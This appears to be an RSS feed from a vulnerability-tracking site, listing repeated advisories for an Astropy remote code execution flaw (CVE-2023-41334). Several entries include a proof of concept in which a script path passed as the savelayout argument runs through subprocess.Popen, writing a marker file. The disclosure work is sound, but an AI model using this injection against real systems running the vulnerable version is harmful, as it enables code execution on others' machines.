https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sun, 18 Oct 2026 23:49:20 +0000 https://cve.radiocsirt.org/vuln/certfr-2024-avi-1103 certfr-2024-avi-1103 https://cve.radiocsirt.org/vuln/certfr-2024-avi-1103 https://cve.radiocsirt.org/vuln/euvd-2026-9238 EUVD-2026-9238 https://cve.radiocsirt.org/vuln/euvd-2026-9238 https://cve.radiocsirt.org/vuln/fkie_cve-2023-41334 <p>Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.</p> <p>Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2023-41334 https://cve.radiocsirt.org/vuln/ghsa-h2x6-5jx5-46hf <p><strong>Affected:</strong> PyPI: astropy</p> <p>### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function</p> <p>### Details</p> <p>Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.</p> <p>### PoC</p> <p>```shell $ cat /tmp/script #!/bin/bash echo astrorce &gt; /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information. &gt;&gt;&gt; from astropy.coordinates.transformations import TransformGraph &gt;&gt;&gt; tg = TransformGraph() &gt;&gt;&gt; tg.to_dot_graph(savefn=&#34;/tmp/1.txt&#34;, savelayout=&#34;/tmp/script&#34;) Traceback (most recent call last): File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt; File &#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&#34;, line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not &#39;str&#39; &gt;…</p> <p><strong>Affected:</strong> PyPI: astropy</p> <p>### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function</p> <p>### Details</p> <p>Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.</p> <p>### PoC</p> <p>```shell $ cat /tmp/script #!/bin/bash echo astrorce &gt; /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information. &gt;&gt;&gt; from astropy.coordinates.transformations import TransformGraph &gt;&gt;&gt; tg = TransformGraph() &gt;&gt;&gt; tg.to_dot_graph(savefn=&#34;/tmp/1.txt&#34;, savelayout=&#34;/tmp/script&#34;) Traceback (most recent call last): File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt; File &#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&#34;, line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not &#39;str&#39; &gt;…</p> https://cve.radiocsirt.org/vuln/ghsa-h2x6-5jx5-46hf https://cve.radiocsirt.org/vuln/gsd-2023-41334 gsd-2023-41334 https://cve.radiocsirt.org/vuln/gsd-2023-41334 https://cve.radiocsirt.org/vuln/opensuse-su-2024:13797-1 <p>python310-astropy-6.0.0-3.1 on GA media</p> <p>python310-astropy-6.0.0-3.1 on GA media</p> https://cve.radiocsirt.org/vuln/opensuse-su-2024:13797-1 https://cve.radiocsirt.org/vuln/pysec-2026-1199 <p><strong>Affected:</strong> PyPI: astropy</p> <p>### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function</p> <p>### Details</p> <p>Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.</p> <p>### PoC</p> <p>```shell $ cat /tmp/script #!/bin/bash echo astrorce &gt; /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information. &gt;&gt;&gt; from astropy.coordinates.transformations import TransformGraph &gt;&gt;&gt; tg = TransformGraph() &gt;&gt;&gt; tg.to_dot_graph(savefn=&#34;/tmp/1.txt&#34;, savelayout=&#34;/tmp/script&#34;) Traceback (most recent call last): File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt; File &#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&#34;, line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not &#39;str&#39; &gt;…</p> <p><strong>Affected:</strong> PyPI: astropy</p> <p>### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function</p> <p>### Details</p> <p>Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.</p> <p>### PoC</p> <p>```shell $ cat /tmp/script #!/bin/bash echo astrorce &gt; /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information. &gt;&gt;&gt; from astropy.coordinates.transformations import TransformGraph &gt;&gt;&gt; tg = TransformGraph() &gt;&gt;&gt; tg.to_dot_graph(savefn=&#34;/tmp/1.txt&#34;, savelayout=&#34;/tmp/script&#34;) Traceback (most recent call last): File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt; File &#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&#34;, line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File &#34;/usr/lib/python3.9/subprocess.py&#34;, line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not &#39;str&#39; &gt;…</p> https://cve.radiocsirt.org/vuln/pysec-2026-1199 https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-41334 <p><strong>Affected:</strong> Ubuntu:18.04:LTS: astropy, Ubuntu:20.04:LTS: astropy, Ubuntu:22.04:LTS: astropy</p> <p>Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.</p> <p><strong>Affected:</strong> Ubuntu:18.04:LTS: astropy, Ubuntu:20.04:LTS: astropy, Ubuntu:22.04:LTS: astropy</p> <p>Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.</p> https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-41334